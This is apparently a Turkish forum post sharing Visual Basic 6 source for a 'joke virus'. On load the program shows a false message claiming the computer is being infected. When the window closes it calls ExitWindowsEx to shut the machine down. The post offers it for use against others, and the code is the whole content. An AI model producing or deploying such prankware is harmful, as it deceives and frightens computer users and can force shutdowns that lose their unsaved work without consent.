Evet Arkadaşlar Bu Kodla Kendiniz Şaka Virusunu Yapabilirsiniz Kesinlikle Tum Versionlarda Sorunsuz Calışıyor Uzatmadan Kodu Vereyim Buyrun

Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Boolean
Private Const EWX_SHUTDOWN = 1
Private Const EWX_FORCE = 4
Private Const EWX_REBOOT = 2
Private Const EWX_LOGOFF = 0
Private Sub form_load()
MsgBox "Nıhahahahahahah Bilgisayarına virus bulaşıyor programı acık tutarsan sistemin linc olur"
End Sub
Private Sub form_Terminate()
kapat = ExitWindowsEx(EWX_SHUTDOWN, 1)
If kapat = True Then
Else
MsgBox ("Hata oluştu")
End If

End Sub

__________________